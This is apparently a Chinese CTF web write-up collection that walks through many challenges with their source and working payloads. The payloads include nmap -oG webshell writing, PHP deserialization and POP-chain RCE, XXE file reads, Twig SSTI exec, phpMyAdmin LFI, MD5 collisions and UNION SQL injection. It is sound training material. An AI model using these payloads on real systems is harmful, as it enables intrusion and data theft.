[BJDCTF2020]The mystery of ip ip的密码,今天做的题都好厉害啊 进入页面: 一个flag一个hint flag: hint: 他知道我们的IP地址,在浏览器肯定啥也分析不出来,他知道我们的IP无非就是XFF,X-Real-ip等等,抓包添加XFF请求头: 可以看到已经就是成功了,就是XFF控制的,但是知道这个我们又该咋样去得到flag呢?网页源代码中有这么一段: 这是不是很像模板注入里的语句,当然只是像,所以该考虑一下SSTI注入,尝试一下: 确实存在ssti注入,这边直接开读!: 读取一下flag.php: 这是一段代码,也就是如何判断我们IP的代码,而且可以从这里知道这是一个smarty模板 发现在根目录就直接读:
直上源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR' ]) ) { $_SERVER['REMOTE_ADDR' ] = $_SERVER['HTTP_X_FORWARDED_FOR' ]; } if (!isset($_GET['host' ])) { highlight_file(__FILE__); } else { $host = $_GET['host' ]; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox; @mkdir($sandbox) ; chdir($sandbox); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host) ; }
代码很短,却很生草,这一题主要就在escapeshellarg
和escapeshellcmd
这两个函数结合运用,会导致一些差错
1 2 3 4 5 6 7 8 9 10 escapeshellarg函数 作用:把单引号转义之后再用引号括起来,使其成为一个字符串,使其只能提交一个参数。 escapeshellcmd函数 作用:把\,不闭合的引号等符号进行转义,使一次只能执行一次cmd命令杜绝';' ,'&&' 的使用。 传入的参数是:172.17 .0 .2 ' -v -d a=1 经过escapeshellarg处理后变成了' 172.17 .0 .2 '\'' -v -d a=1 ',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成' 172.17 .0 .2 '\\' ' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl ' 172.17 .0 .2 '\\' ' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的' 没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1' ,即向172.17 .0 .2 \发起请求,POST 数据为a=1 '。
函数介绍完了就直接上payload了:
1 ?host=' <?php eval($_POST[1]);?> -oG 1.php '
注意这边单引号和内容之间有一个空格,我们本地测试一下: 可以看到结果分为:
1 2 3 4 5 6 '' \'' <?php eval ($_POST [1 ]);?> -oG 1 .php '\'' ' ' '\\' ' \<\?php eval\(\$_POST\[1\]\)\;\?\> -oG 1.php ' \\'' ' // 根据shell的解析规则 \ <?php eval($_POST[1]);?> 1.php \\ 这样的话结果还是被写入了1.php
如何在最后的单引号前面不加空格,那么最后文件名会是1.php\\
,这边成对的单引号是可以消掉的,'\\'''
中,后两个单引号配对为空,前面2个单引号包裹\\
所以最后就是\\
,不进行转义 最后访问给的文件夹地址rce即可
[网鼎杯 2020 朱雀组]phpweb(反序列化+RCE) 进入靶场,看见一张司马脸,一开始以为是野兽,结果是孙笑川尼玛的 普通界面啥也没有,我们打开检查后发现: 这里有2个POST传递的参数,func和p:
data:函数用于格式化时间/日期。1 2 3 4 5 <?php echo date("Y/m/d" ) . "<br>" ; echo date("Y.m.d" ) . "<br>" ; echo date("Y-m-d" ); ?>
以上函数输出:
2016/10/21 2016.10.21 2016-10-21
可以知道网页中执行了data(Y-m-d+h:i:s+a)函数,那我们不妨猜想一下假如把data换成其他函数比如eval,system之类的呢 我们首先读取一下源码,payload:func=highlight_file&p=index.php 得到了以下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string" ) { return $result; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct () { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p) ; } } } $func = $_REQUEST["func" ]; $p = $_REQUEST["p" ]; if ($func != null ) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime ($func, $p) ; }else { die("Hacker..." ); } } ?>
call_user_func():函数会将第一个参数当作回调函数使用
exp:call_user_func($a,$b)等价于$a($b)
gettype:获得参数的类型
strtolower:把字符都改成小写
in_array():查看字符串中有没有指定字符
从源码可以得知,首先ban掉了一大堆函数,里面有一个自定义函数gettime:里面有call_user_func函数,可以执行命令;新建了一个类Test,里面可以再次调用gettime函数,最后传2个参数func和p,如果func不为空且func中没有被禁用的函数,那么就运行gettime函数 分析:假如单单func和p传入一个system,ls这样肯定不行,因为system被ban了,很多执行命令的函数给ban掉了,我们看到里面有个类就应该想起反序列化,这题我们得调用Test类进行两次gettime函数的利用,来绕过过滤 构造本地文件:
1 2 3 4 5 6 7 8 9 P <?php class Test { var $p = 'ls' ; var $func = "system" ;} $a =new Test ;$a =serialize ($a );echo $a ;?>
结果: O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;} 我们输入func=unserialize&p=O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}: 发现当前目录没有flag文件,这时候我们就要用到一个linux指令:
find:
-mount, -xdev : 只检查和指定目录在同一个文件系统下的文件,避免列出其它文件系统中的文件 -amin n : 在过去 n 分钟内被读取过 -anewer file : 比文件 file 更晚被读取过的文件 -atime n : 在过去 n 天内被读取过的文件 -cmin n : 在过去 n 分钟内被修改过 -cnewer file :比文件 file 更新的文件 -ctime n : 在过去 n 天内创建的文件 -mtime n : 在过去 n 天内修改过的文件 -empty : 空的文件-gid n or -group name : gid 是 n 或是 group 名称是 name -ipath p, -path p : 路径名称符合 p 的文件,ipath 会忽略大小写 -name name, -iname name : 文件名称符合 name 的文件。iname 会忽略大小写 -size n : 文件大小 是 n 单位,b 代表 512 位元组的区块,c 表示字元数,k 表示 kilo bytes,w 是二个位元组。 -type c : 文件类型是 c 的文件。 d: 目录 c: 字型装置文件 b: 区块装置文件 p: 具名贮列 f: 一般文件 l: 符号连结 s: socket
这里使用指令 find / -name flag*:查找根目录所有名称包括flag的文件 把上述本地文件中的p改为find / -name flag,构造payload: func=unserialize&p=O:4:”Test”:2:{s:1:”p”;s:18:”find / -name flag “;s:4:”func”;s:6:”system”;} 这么多带有flag的文件名,观察可以得出flag应该在/tmp/flagoefiu4r93目录下 把p改为:tac /tmp/flagoefiu4r93 构造payload: func=unserialize&p=O:4:”Test”:2:{s:1:”p”;s:22:”tac /tmp/flagoefiu4r93”;s:4:”func”;s:6:”system”;} 得到了flag!遇到的一些问题:本人尝试过用一句话木马看看能不能连接到后台,因为这样找文件可能有点麻烦,但是在测试的过程中,首先可以从上一题知道不能直接func=eval这种形式去写一句话木马,所以我用了assert(eval($_POST[1])) 可是这仍然行不通,猜测可能是当前页面没有开启assert
[GXYCTF2019]禁止套娃 页面啥也没有,扫目录发现有git文件,我们用githack下载了,发现了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
似曾相识,正则里面有个递归正则,意思就是只让我们用字母和括号组成的函数来构造 直接上payload了:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
没啥好说的
[BSidesCF 2020]Had a bad day 好了!锻炼英语的时候到了,翻译内容如下:今天可好?有什么不顺的事情吗?心情很低落吗?点下面的按钮让这些可爱的图片治愈你! 伯恩山呜呜呜,我也想养一只 看浏览器参数,多了个catagory,这边我以为是SQL注入,加了个单引号后: 看到include吗,这是文件包含题,经过测试,我们的参数里必须要有woofers或者meowers,也就是给定的2个参数,并且啊结尾会自动填上一个.php
: 构造payload读取源文件;php://filter/convert.base64-encode/resource=index
可以读取,这边应该是字符串中有index也可以
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $file = $_GET ['category' ]; if (isset ($file )) { if ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
看到源代码了,经过目录扫描,存在flag.php 构造payload:php://filter/convert.base64-encode|woofers/resource=flag
想尝试data可是行不通,没开启allow_url_include
[GWCTF 2019]我有一个数据库 这段话是啥不重要,重要的是用dirsearch扫出来了robots.txth和phpmyadmin: 这里没啥东西感觉 重点在phpmyadmin: 看phpmyadmin的版本,4.8.1,这里存在一个phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613) - 简书 【首发】phpmyadmin4.8.1后台getshell 把这两个看完你会焕然一新,这个CVE出现在index界面,你会发现poc和**[HCTF 2018]WarmUp**一模一样 所以我就直接上payload了:?target=db_sql.php%253f/../../../../../../../../flag
上面还有个getshell的文章,就是不清楚这个安装目录不然也可以getshell
[BJDCTF2020]Mark loves cat 用dirsearch扫出git,下载源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;?>
弱智题:?flag=flag&is=flag
?yds=flag
[NCTF2019]Fake XML cookbook 考点XXE注入: 先抓包: 底下的东西就像极了xxe注入,我们构造payload:
1 2 3 4 5 6 7 8 9 <? xml version="1.0" ?> <!DOCTYPE feng [ <!ENTITY file SYSTEM "file:///flag" > ]> <user> <username>&file;</username> <password>1 </password> </user>
答案就出来了,不要问我为什么,下面的文章让你系统学习XXE:https://xz.aliyun.com/t/6887#toc-5 经典文章
[安洵杯 2019]easy_web 第一题就这么有含金量的吗 写了个md5,找半天愣是没找到,然后看到url中有参数,一个cmd一个img,cmd中ban了很多,如ls之类的,所以基本是不可能可以执行命令了 然后就转移到了img这个参数,那是一个base64加密2次的内容: 解密出来为一个16进制字符串,再解密: 这边就可能存在一个文件包含了,可以看到源代码: 有这么一串base64,这应该就是文件的内容,我们也构造一个加密内容,先16进制编码再base64加密2次index.php
,把源文件读出来: 内容已经改变了,我们解密一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?>
得到了源码,审计一番过后,发现有个md5强碰撞,注意!这里有一个(string)
所以数组绕过是不行了,必须找一个md5加密后完完全全相等的值:https://segmentfault.com/a/1190000039189857 我直接给答案了:
1 2 a=1 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %A3njn%FD%1 A%CB%3 A%29 Wr%02 En%CE%89 %9 A%E3%8 EF%F1%BE%E9%EE3%0 E%82 %2 A%95 %23 %0 D%FA%CE%1 C%F2%C4P%C2%B7s%0 F%C8t%F28%FAU%AD%2 C%EB%1 D%D8%D2%00 %8 C%3 B%FCN%C9b4%DB%AC%17 %A8%BF%3 Fh%84 i%F4%1 E%B5Q%7 B%FC%B9RuJ%60 %B4%0 D7%F9%F9%00 %1 E%C1%1 B%16 %C9M%2 A%7 D%B2%BBoW%02 %7 D%8 F%7 F%C0qT%D0%CF%3 A%9 DFH%F1%25 %AC%DF%FA%C4G%27 uW%CFNB%E7%EF%B0 &b=1 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %A3njn%FD%1 A%CB%3 A%29 Wr%02 En%CE%89 %9 A%E3%8 E%C6%F1%BE%E9%EE3%0 E%82 %2 A%95 %23 %0 D%FA%CE%1 C%F2%C4P%C2%B7s%0 F%C8t%F28zV%AD%2 C%EB%1 D%D8%D2%00 %8 C%3 B%FCN%C9%E24%DB%AC%17 %A8%BF%3 Fh%84 i%F4%1 E%B5Q%7 B%FC%B9RuJ%60 %B4%0 D%B7%F9%F9%00 %1 E%C1%1 B%16 %C9M%2 A%7 D%B2%BBoW%02 %7 D%8 F%7 F%C0qT%D0%CF%3 A%1 DFH%F1%25 %AC%DF%FA%C4G%27 uW%CF%CEB%E7%EF%B0
这里用burp去传参: 可以看到已经成功dir出了文件,在根目录找到flag文件,然后直接读: 完事 小结一下吧,一开始看到``我还以为是用反弹shell或者是curl,结果有关的参数都被ban了,最后才想到反斜杠去绕过,还是有点不太熟练哈哈
[强网杯 2019]高明的黑客 下载源文件后你会发现就是一坨屎山: 你觉得可能慢慢读完吗,可能吗?每一个文件里面都是: 这种样式,你觉得人可能可以找到吗,所以我们依靠一波python脚本,大概的意思就是找到文件中的GET和POST参数,然后在本地测试,看看那个文件可以触发eval或者是system或者是assert,最后输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import osimport requestsimport reimport threadingimport timeprint ('开始时间: ' + time.asctime( time.localtime(time.time()) ))s1=threading.Semaphore(100 ) filePath = r"C:\Users\22927\Downloads\src" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file ): s1.acquire() print ('trying ' +file+ ' ' + time.asctime( time.localtime(time.time()) )) with open (file,encoding='utf-8' ) as f: gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print ('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
直接就找到了,然后我们直接执行命令就可以了: 大佬真是厉害啊,受教了!
[BJDCTF2020]Cookie is so stable 考点是twig的SSTI 进来之后就是登录界面,随便输入一个用户名然后抓包: 题目提示我们是cookie,那cookie可能就有问题,cookie可以命令执行的点也就SSTI了,所以要先想到ssti,然后再考虑是什么模板,网页是PHP模板,接下来怎么验证是什么模板
1 2 3 4 在user处尝试注入 {{7 *'7' }} 回显7777777 ==> Jinja2 {{7 *'7' }} 回显49 ==> Twig
OK是Twig,找个poc:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
这边要说一下,exec和system与shell_exec都是有区别的,exec只会返回最后一行的数据,所以这波盲猜flag真正的文件在根目录,你可以看看: 就只出来了一个
[WUSTCTF2020]朴实无华(科学计数法) 查看robots.txt: 访问: 访问:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>" ; }else { die ("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�" ); } }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>" ; else die ("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�" ); }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>" ; system ($get_flag ); }else { die ("蹇埌闈炴床浜�" ); } }else { die ("鍘婚潪娲插惂" ); } ?> ta
全是乱码但这就是题目,不影响,先看level1 其实我觉得level1就是最难的了,intval怎么样才可以达到那样的条件呢?测试了很多发现和版本有关系,题目是php5版本 在php7以下的版本会发生这种事情:
1 2 intval ('1e1' )=1 intval ('1e1' +1 )=11
前者被当成字符串所以是1,后者被解析成了科学计数法,利用这一点可以过第一关?num=1e8
第二关: 要md5加密前后值相同,也就是都为0e开头:?md5=0e1137126905
第三关: 最简单的一关了,大致的意思就是参数中不能有空格,cat,白给get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[ASIS 2019]Unicorn shop 考点是unicode字符串解析过程 参考文章:https://guokeya.github.io/post/UtMQ2MAtQ/ 看了就懂了 最后的payload:id=1&price=𐄣
,𐄣
解码后就成了2000,大于1337 找这些东西的网址:https://www.compart.com/en/unicode/plane 直接搜two thousand
即可
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
源码如上: **__get():**当类调用一个不存在或者是私有属性触发 **__tostring():**当把类当成字符串时触发 __**invoke():**当类被当时函数时触发 **__wakeup():**反序列化时触发 这边触发pop链的整体思路为: 反序列化时,触发__wakeup
,然后preg_match触发__tostring
,然后利用return $this->str->source;
,让str等于test类,去访问不存在的source属性,触发__get
,然后触发__invoke
,同时让var等于php://filter/convert.base64-encode/resource=flag.php
,这就是完整的pop链,构造本地文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class Modifier { protected $var ="php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->str=new Test (); $this ->source=$file ; } } class Test { public $p ; public function __construct ( ) { $this ->p=new Modifier (); } } $a =new show ('aaa' );$a =new show ($a );echo urlencode (serialize ($a ));?>
这边我们的Show类的构造函数给了个$file,所以一定要随便传的什么,否则报错 最后不URL编码的结果为:
1 O:4 :"Show" :2 :{s:6 :"source" ;O:4 :"Show" :2 :{s:6 :"source" ;s:3 :"aaa" ;s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:6 :"*var" ;s:52 :"php://filter/convert.base64-encode/resource=flag.php" ;}}}s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:6 :"*var" ;s:52 :"php://filter/convert.base64-encode/resource=flag.php" ;}}}
url编码的结果为:
1 O%3 A4%3 A%22 Show%22 %3 A2%3 A%7 Bs%3 A6%3 A%22 source%22 %3 BO%3 A4%3 A%22 Show%22 %3 A2%3 A%7 Bs%3 A6%3 A%22 source%22 %3 Bs%3 A3%3 A%22 aaa%22 %3 Bs%3 A3%3 A%22 str%22 %3 BO%3 A4%3 A%22 Test%22 %3 A1%3 A%7 Bs%3 A1%3 A%22 p%22 %3 BO%3 A8%3 A%22 Modifier%22 %3 A1%3 A%7 Bs%3 A6%3 A%22 %00 %2 A%00 var %22 %3 Bs%3 A52%3 A%22 php%3 A%2 F%2 Ffilter%2 Fconvert.base64-encode%2 Fresource%3 Dflag.php%22 %3 B%7 D%7 D%7 Ds%3 A3%3 A%22 str%22 %3 BO%3 A4%3 A%22 Test%22 %3 A1%3 A%7 Bs%3 A1%3 A%22 p%22 %3 BO%3 A8%3 A%22 Modifier%22 %3 A1%3 A%7 Bs%3 A6%3 A%22 %00 %2 A%00 var %22 %3 Bs%3 A52%3 A%22 php%3 A%2 F%2 Ffilter%2 Fconvert.base64-encode%2 Fresource%3 Dflag.php%22 %3 B%7 D%7 D%7 D
最后pop传参获得flag:
[网鼎杯 2020 朱雀组]Nmap 随便输入一个地址: 就会给你namp出来结果,所以指令应该就是namp xxxxx 你的输入
然后抱着试一试的心态我在想,之前做过一道escapeshellarg函数和escapeshellcmd函数结合的题,所以我就输入了一个127 '
给转义了,所以我就觉得这道题对参数进行了上面2个函数的结合,然后经过一系列fuzz发现ban掉了php,所以参数不可以带php,那这样payload就很显而易见了,用短标签去写shell:127.0.0.1 ' <?=eval($_POST[1]);?> -oG 1.phtml '
: 成功getshell
[WesternCTF2018]shrine 进入页面就给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/<path:shrine>' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
一个flask框架,里面有2个过滤,首先传入的参数中的()会被替换为空 其次{%set config=None%}
,{%set self=None%}
因此我们不能单独传入config或者是selfconfig
,config|string
,self.__dict__
等都给ban了 因此这一题我们的payload为:url_for.__globals__.current_app.config
:
current_app表示的可能就是当前的app了 用其他内置函数当然也可以咯~
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
这边儿正则是怎么回事呢,就是你只可以输入白名单里的函数,abs(123)
只会被识别abs,abs(asd)
会被识别为abs和asd,就是这么一回事,\x7f-\xff
表示数字字母和字符以外的一些乱码,防止我们异或,取反 这题的解法有点类似于自增 三十六进制的字符是由数字+小写字母构成的,所以把36进制的hex2bin转换为10进制后为37907361743
,然后我们刚好白名单里有base_convert
函数: 进制转换函数,所以我们可以base_convert(37907361743,10,36)
得到hex2bin
,十六进制转字符串函数,然后白名单里又有dechex
函数: 看看_GET的十六进制是5f474554
,再将16进制转为10进制1598506324
最后payload:?c=1;$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){exp}($$pi{pi})&exp=system&pi=tac /flag
上述payload肯定都看得懂吧。。
[MRCTF2020]PYWebsite 让我们买flag,这边查看一下网页源代码: 已经告诉我们是flag.php,访问一下就行: 添加个XFF头: 简单题
[SWPU2019]Web1 看似是xss实则是sql 一个登入界面,我先注册了一个账号~ 可以发布广告,我看到这个就以为是xss: 事实证明确实可以XSS,但是经过测试发现没有cookie,并不能获取管理员的cookie,黔驴技穷的时候发现标题存在SQL注入!: !!!然后再经过一系列的FUZZ,发现只可以用联合查询,并且空格过滤了,只能用/**/
去代替,接下来我就一步步的放payload了,没啥好讲1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
获取注入点1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
获取表名1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,(3)c/**/union/**/select/**/*/**/from/**/users)d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
子查询获取答案
